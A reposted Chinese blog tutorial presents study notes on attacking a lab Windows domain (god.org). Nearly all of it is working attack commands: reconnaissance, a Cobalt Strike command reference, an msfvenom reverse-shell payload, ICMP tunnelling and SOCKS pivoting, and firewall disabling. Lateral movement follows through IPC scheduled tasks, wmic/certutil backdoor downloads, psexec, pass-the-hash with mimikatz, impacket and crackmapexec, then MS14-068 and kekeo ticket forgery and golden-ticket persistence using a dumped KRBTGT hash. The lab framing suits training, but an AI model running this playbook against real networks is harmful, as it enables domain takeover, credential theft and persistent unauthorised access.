0


内网安全学习

环境下载在这里,需要请自行下载链接:https://pan.baidu.com/s/1yVrX9v5cMV9_BuBmW5OlDg?pwd=vsi3
提取码:vsi3
--来自百度网盘超级会员V2的分享

域内一共有五台主机,都在192.168.3.0网段,需要自行在webserver上添加NAT模式网卡

域在我的理解就是一个局域网,管理员为了便于操作域内主机,通常会有一个DC(domain control),域控主机可以直接控制其他域内主机,相当于域内的管理员权限,内网渗透的终极目的即拿到域控的权限。

在域控中的主机可以有两种登录方式,普通账户登录和域内账户登录,普通域内用户的权限是很低的,安装程序,修改密码等等都需要向域控申请才能完成。

域控机器

如图,域控可以管理域内的机器和用户

域内信息收集

当我们拿下一台主机后,可以通过

systeminfo 详细信息

netstat -ano 端口列表

route print 路由表

net start 启动服务

tasklist 进程列表

schtasks 计划任务

ipconfig /all 判断存在域

net view /domain 判断存在域

net time /domain 判断主域

netstat -ano 当前网络端口开放

nslookup 域名 追踪来源地址

wmic service list brief 查询本机服务

net config workstation 查询当前登录域及登录用户信息

wmic startup get command,caption 查看已启动的程序信息

如图,我的电脑是一台个人主机,没有域

现在,我再用域内的web服务器用户,可以看到有god域

当判断自己在域中,可以尝试进行信息收集

net view /domain 查询域列表

net time/domain 从域控查询时间,若当前用户是域用户会从域控返回当前时间,亦

用来判 断主域,主域一般用做时间服务器

net localgroup administrators 本机管理员【通常含有域用户】

net user /domain 查询域用户(当前域)

net group /domain 查询域工作组

net group "domain computers" /domain 查看加入域的所有计算机名

net group "domain admins" /domain 查询域管理员用户组和域管用户

net localgroup administrators /domain 查看域管理员

net group "domain controllers" /domain 查看域控

net accounts /domain 查看域密码策略

查看本机管理员

查看域内主机

查看域管理员用户

查看域控主机

我们想要通过域内主机拿到域控权限,首先就要获得目标IP地址

net time /domain 获取域控主机名,ping获取目标IP

God.org环境搭建

这里我给web服务器加上连接外网的网卡,所有主机在同一内网

这里我使用CS这一工具,CS在内网渗透比较方便

CS命令大全

browserpivot 注入受害者浏览器进程
sleep 3 全部命令3秒执行
bypassuac 绕过UAC
cancel 取消正在进行的下载
cd 切换目录
checkin 强制让被控端回连一次
clear 清除beacon内部的任务队列
connect Connect to a Beacon peerover TCP
covertvpn 部署Covert VPN客户端
cp 复制文件
dcsync 从DC中提取密码哈希
desktop 远程VNC
dllinject 反射DLL注入进程
dllload 使用LoadLibrary将DLL加载到进程中
download 下载文件
downloads 列出正在进行的文件下载
drives 列出目标盘符
elevate 尝试提权
execute 在目标上执行程序(无输出)
execute-assembly 在目标上内存中执行本地.NET程序
exit 退出beacon
getprivs Enable system privileges oncurrent token
getsystem 尝试获取SYSTEM权限
getuid 获取用户ID
hashdump 转储密码哈希值
help 帮助
inject 在特定进程中生成会话
jobkill 杀死一个后台任务
jobs 列出后台任务
kerberos_ccache_use 从ccache文件中导入票据应用于此会话
kerberos_ticket_purge 清除当前会话的票据
kerberos_ticket_use 从ticket文件中导入票据应用于此会话
keylogger 键盘记录
kill 结束进程
link Connect to a Beacon peerover a named pipe
logonpasswords 使用mimikatz转储凭据和哈希值
ls 列出文件
make_token 创建令牌以传递凭据
mimikatz 运行mimikatz
mkdir 创建一个目录
mode dns 使用DNS A作为通信通道(仅限DNS beacon)
mode dns-txt 使用DNS TXT作为通信通道(仅限D beacon)
mode dns6 使用DNS AAAA作为通信通道(仅限DNS beacon)
mode http 使用HTTP作为通信通道
mv 移动文件
net net命令
note 备注
portscan 进行端口扫描
powerpick 通过Unmanaged PowerShell执行命令
powershell 通过powershell.exe执行命令
powershell-import 导入powershell脚本
ppid Set parent PID forspawned post-ex jobs
ps 显示进程列表
psexec Use a service to spawn asession on a host
psexec_psh Use PowerShell to spawn asession on a host
psinject 在特定进程中执行PowerShell命令
pth 使用Mimikatz进行传递哈希
pwd 当前目录位置
reg Query the registry
rev2self 恢复原始令牌
rm 删除文件或文件夹
rportfwd 端口转发
run 在目标上执行程序(返回输出)
runas 以另一个用户权限执行程序
runasadmin 在高权限下执行程序
runu Execute a program underanother PID
screenshot 屏幕截图
setenv 设置环境变量
shell cmd.exe 打开cmd终端
shell ipconfig 执行ipconfig命令
shinject 将shellcode注入进程
shspawn 生成进程并将shellcode注入其中
sleep 设置睡眠延迟时间
socks 启动SOCKS4代理
socks stop 停止SOCKS4
spawn Spawn a session
spawnas Spawn a session as anotheruser
spawnto Set executable tospawn processes into
spawnu Spawn a session underanother PID
ssh 使用ssh连接远程主机
ssh-key 使用密钥连接远程主机
steal_token 从进程中窃取令牌
timestomp 将一个文件时间戳应用到另一个文件
unlink Disconnect from parentBeacon
upload 上传文件
wdigest 使用mimikatz转储明文凭据
winrm 使用WinRM在主机上生成会话
wmi 使用WMI在主机上生成会话
argue 进程参数欺骗

我们可以利用工具进行信息收集,先假设我们获得了web服务器的权限

进行端口扫描

这里,我们确定了三个目标

192.168.3.21:445 (platform: 500 version: 6.1 name: OWA2010CN-GOD domain: GOD)

5065 5060 3389 995 993 808 636 593 587 464 443 389 143 139 135 110 88 80 53 25 445

192.168.3.25:445 (platform: 500 version: 6.1 name: MARY-PC domain: GOD)
192.168.3.31:445 (platform: 500 version: 6.1 name: WEBSERVER domain: GOD)

使用CS的权限提升插件将拿到的权限进行权限提升

拿到system权限后可以进行密码抓取

我们可以假设域内有相同密码的机器,使用抓取的密码进行横向移动

这里失败了,前面做好信息收集确定目标用户信息后进行横向移动

隧道技术

在内网渗透中,可能会出现内网机器开启防火墙,对入站和出站规则进行限制,因此我们需要学习隧道技术,隧道和代理是不一样的,隧道解决的是两个网络本来可以通信,因为防火墙等的限制需要采用其他协议来进行通信,代理解决的是不能通信的网络通过跳板机完成实现通信的效果

如图,开启防火墙,拒绝所有TCP连接

这时候,我们的木马自然不起作用了,但是ping命令是可以用的,所以可以借助ICMP搭建隧道

kali生成MSF木马

msfvenom -p windows/meterpreter/reverse_tcp lhost=127.0.0.1 lport=6666 -f exe >msf.exe

kali开启监听

kali开启隧道

控制目标机器以管理员权限运行隧道

运行kali生成木马

目标机器成功上线msf

这里的原理是通过木马 监听目标机器的6666端口,通过隧道将3333端口的流量通过ICMP协议转化到kali,再由隧道的服务端将ICMP转换成TCP,实现权限传递

隧道技术解决的是后渗透阶段将权限移交给MSF,CS等工具的问题

ICMP隧道 ping命令

DNS隧道 nslookup命令

代理技术

在内网渗透的过程中,经常遇到目标域只有一个web服务器连接外网,其他主机全部在内网环境,而想要进行内网渗透,就需要借助域暴露在外网的主机作为跳板机,实现内网的横向移动

MSF

现在MSF获得了域暴露在外网服务器的权限

msf需要配置路由,这是和CS不同一点

run post/multi/manage/autoroute

run autoroute -p

background

search socks

use auxiliary/server/socks_proxy

run

使用Sockscap工具,设置MSF服务器为代理

如图,成功访问位于内网的主机

这里还有一个代理工具,适合Windows系统

CS

CS设置代理转发

根据CS客户端选择代理

同样可以建立连接

上线

这里先设置TCP监听器,然后生成stageless模式后门

假设我们已经获得了目标的权限,可是目标在内网,需要移交权限给CS进行后渗透,运行后门

然后再通过前面已经连接的后门进行正向连接,实现上线

Windows 防火墙命令

Windows防火墙设置的入站和出站规则可能影响内网渗透,如果拥有足够的权限,可以尝试关闭防火墙

Windows 防火墙命令:

https://www.cnblogs.com/tomtellyou/p/16300557.html

查看当前防火墙状态:netsh advfirewall show allprofiles

关闭防火墙:netsh advfirewall set allprofiles state off

开启防火墙:netsh advfirewall set allprofiles state on

恢复初始防火墙设置:netsh advfirewall reset

启用桌面防火墙: netsh advfirewall set allprofiles state on

设置默认输入和输出策略:netsh advfirewall set allprofiles

firewallpolicy allowinbound,allowoutbound

如果设置为拒绝使用 blockinbound,blockoutbound

横向移动

网络拓扑图如下

确定域环境

确定域控owa2010cn-god.god.org的IP为192.168.3.21

确定域内用户

右键选择凭证提权,权限提升进行提权,这里我选择的是ms14-058

进行端口扫描

可以看到,扫描到以下目标

抓取明文密码

还可以抓取hash值,只要有用户登录到这台主机,用户就会将hash写到内存中,这时就可以读取

因为域控机器在内网环境,所以生成的木马需要主动监听端口,然后采用正向连接

IPC

IPC(共享命名管道资源)其实就是为了实现进程间通信而开放的命名管道;IPC可以通过验证用户名和密码获得相应的权限,通常在远程管理计算机和查看计算机的共享资源使用

at<windows2012

net use \192.168.3.21\ipc$ "Admin12345" /user:god.org\ad

ministrator 建立IPC连接

查看文件目录

将生成的木马上传到被我们控制的webserver

shell copy 4444.exe \192.168.3.21\c$ 拷贝执行文件到目标机器

shell at \192.168.3.21 21:38 c:\4444.exe 添加计划任务

connect 192.168.3.21 4444 正向连接木马

直接拿到了域控权限

这里也可以通过前面的代理技术反向连接木马

首先设置代理转发

再使用前面的代理生成后门

后门按照前面的步骤传递再执行即可,就不用连接操作了

schtasks >=Windows2012

net use \192.168.3.32\ipc$ "Admin!@#45" /user:god.org\ad

ministrator # 建立 ipc 连接:

copy beacon.exe \192.168.3.32\c$ #复制文件到其 C 盘

schtasks /create /s 192.168.3.32 /ru "SYSTEM" /tn beacon /sc

DAILY /tr c:\beacon.exe /F #创 beacon 任务对应执行文件

schtasks /run /s 192.168.3.32 /tn beacon /i #运行 beacon 任务

schtasks /delete /s 192.168.3.21 /tn beacon /f#删除 beacon 任务

CS工具

先删除原来的连接

可以看到成功建立了IPC连接

接下来的步骤就是传送木马,运行木马了

也可以删除连接

WMI

WMI 是通过 135 端口进行利用,支持用户名明文或者 hash 的方式进行认证,

并且该方法不会在目标日志系统留下痕迹。

1.wmic

内部:(单执行)

wmic /node:192.168.3.32 /user:administrator /password:admin!@#45

process call create "cmd.exe /c certutil -urlcache -split -f

http://192.168.3.31/beacon.exe c:/beacon.exe"

wmic /node:192.168.3.32 /user:administrator /password:admin!@#45

process call create "cmd.exe c:/beacon.exe"

2.cscript

内置:(交互式)

上传 wmiexec.vbs

cscript //nologo wmiexec.vbs /shell 192.168.3.21 administrator

Admin12345

3.wmiexec-impacket

外部:(交互式&单执行)

wmiexec ./administrator:admin!@#45@192.168.3.32 "whoami"

wmiexec -

hashes :518b98ad4178a53695dc997aa02d455c ./administrator@192.168.

3.32 "whoami"

下载后门:

wmiexec ./administrator:admin!@#45@192.168.3.32 "cmd.exe /c

certutil -urlcache -split -f http://192.168.3.31/beacon.exe

c:/beacon.exe"

执行后门:

wmiexec ./administrator:admin!@#45@192.168.3.32 "cmd.exe /c

c:/beacon.exe"

SMB

利用SMB服务可以通过明文或hash传递来远程执行,条件445服务端口开放

1.psexec

内部:(交互式 windows 官方工具)

psexec64 \192.168.3.32 -u administrator -p admin!@#45 -s cmd

外部:(交互式 外人开发的工具)

psexec -

hashes :518b98ad4178a53695dc997aa02d455c ./administrator@192.168. 3.32

2.CS

可以使用CS的横向移动psexec方式

PTH

PTH = Pass The Hash,通过密码散列值 (通常是 NTLM Hash)来进行攻击。

在域环境中,用户登录计算机时使用的域账号,计算机会用相同本地管理员账号和密码。

因此,如果计算机的本地管理员账号和密码也是相同的,攻击者就可以使用哈希传递的方

法登录到内网主机的其他计算机。Windows2003及之前用的是LM加密,不安全可以被逆向破解,所以后面使用NTML加密

NTML加密过程

1、client发送账户名user到server

2、server判断本地账户名是否存在,没有则失败,有的话生成challenge,查找user对应的NTLM哈希,使用哈希加密challenge,生成一个net-ntlm hash存在内存中,将challenge发送给client

3、cLient接受到challenge以后,将自己的密码转换成NTLM哈希,用生成的哈希加密challenge生成response,发送response给server

4、server对比自己内存中的net-ntlm hash与client发来的response是否一致
注意:challenge每次认证都不一样,是一个随机生成的16字节随机数

mimiakatz

(不推荐,弹cmd,能连上rdp时可以使用)

ip不行时就用主机名
连接域用户,导入到了内存中,之后利用票据在进行以下操作
mimikatz sekurlsa::pth /user:administrator /domain:god /ntlm:ccef208c6485269c20db2cad21734fe7
连接本地用户
mimikatz privilege::debug
mimikatz sekurlsa::pth /user:administrator /domain:sqlserver /ntlm:518b98ad4178a53695dc997aa02d455c
net use \192.168.3.32\c$
copy beacon.exe \192.168.3.32\c$
sc \sqlserver create bshell binpath= "c:\4.exe"
sc \sqlserver start bshell

impaket psexec

本地用户
执行命令
psexec -hashes :518b98ad4178a53695dc997aa02d455c ./administrator@192.168.3.32 "whoami"
弹cmd
psexec -hashes :518b98ad4178a53695dc997aa02d455c ./administrator@192.168.3.32
域用户
psexec -hashes :518b98ad4178a53695dc997aa02d455c god/administrator@192.168.3.32

crackmapexec

#域用户HASH登录
proxychains4 crackmapexec smb 192.168.3.21-32 -u user.txt -H 518b98ad4178a53695dc997aa02d455c
#本地用户HASH登录,-x参数执行命令
proxychains4 crackmapexec smb 192.168.3.21-32 -u user.txt -H 518b98ad4178a53695dc997aa02d455c --local-auth

PTT

漏洞(ms14-068) 伪造新用户身份

获取SID值:
shell whoami/user
生成票据文件(在本地开代理执行或上传执行都可以,本地执行需要上传票据)
shell ms14-068.exe -u webadmin@god.org -s S-1-5-21-1218902331-2157346161-1782232778-1132 -d 192.168.3.21 -p admin!@#45
清除票据连接
shell klist purge
查看但前票据
shell klist
内存导入票据 (cs自带mimakatz)
mimikatz kerberos::ptc TGT_webadmin@god.org.ccache
查看目标主机目录结构
shell dir \OWA2010CN-GOD\c$
连接目标上线
shell net use \OWA2010CN-GOD\C$
copy beacon.exe \OWA2010CN-GOD\C$
sc \OWA2010CN-GOD create bindshell binpath= "c:\beacon.exe"
sc \OWA2010CN-GOD start bindshell

kekeo 利用ntml生成新的票据

主要是看是不是高权限的ntml,这样生成的票据才能够成功

生成票据(在本地开代理执行或上传执行都可以,本地执行需要上传票据)
shell kekeo "tgt::ask /user:Administrator /domain:god.org /ntlm:ccef208c6485269c20db2cad21734fe7" "exit"
导入票据
shell kekeo "kerberos::ptt TGT_Administrator@GOD.ORG_krbtgt~god.org@GOD.ORG.kirbi" "exit"
查看票据(cs自带命令)
shell klist
利用票据连接
shell dir \owa2010cn-god\c$

mimiakatz 利用的历史遗留票据

主要是看域管理员等一些高权限用户是否登陆过,并且票据没有过期,mimikatz抓取密码时权限要高权限用户才能抓取

导出票据
mimikatz sekurlsa::tickets /export
导入票据
mimikatz kerberos::ptt C:\Users\webadmin\Desktop[0;22d3a]-2-1-40e00000-Administrator@krbtgt-god.org.kirbi
查看票据
shell klist
利用票据连接
shell dir \owa2010cn-god\c$

PTK

利用条件:
当系统安装了KB2871997补丁且禁用了NTLM

mimikatz sekurlsa::ekeys mimikatz sekurlsa::pth /user:域用户名 /domain:域名 /aes256:aes256值

权限维持

1、域名:god.org

2、域的 SID 值:S-1-5-21-1218902331-2157346161-1782232778

whoami /user

whoami /all

wmic useraccount get name,sid

3、域的 KRBTGT 账户 NTLM-HASH:b097d7ed97495408e1537f706c357fc5

mimikatz privilege::debug

mimikatz lsadump::lsa /patch

4、伪造用户名:webadmin(任意用户名)

生成票据:

mimikatz kerberos::golden /user:webadmin /domain:god.org /sid:S-

1-5-21-1218902331-2157346161-1782232778

/krbtgt:b097d7ed97495408e1537f706c357fc5 /ticket:g

导入内存:

mimikatz kerberos::ptt g

访问测试:

dir \owa2010cn-god\c$

后期渗透

net use \owa2010cn-god

标签: 安全 学习 网络

本文转载自: https://blog.csdn.net/weixin_56537388/article/details/133235119
版权归原作者 blackK_YC 所有, 如有侵权,请联系我们删除。

“内网安全学习”的评论:

还没有评论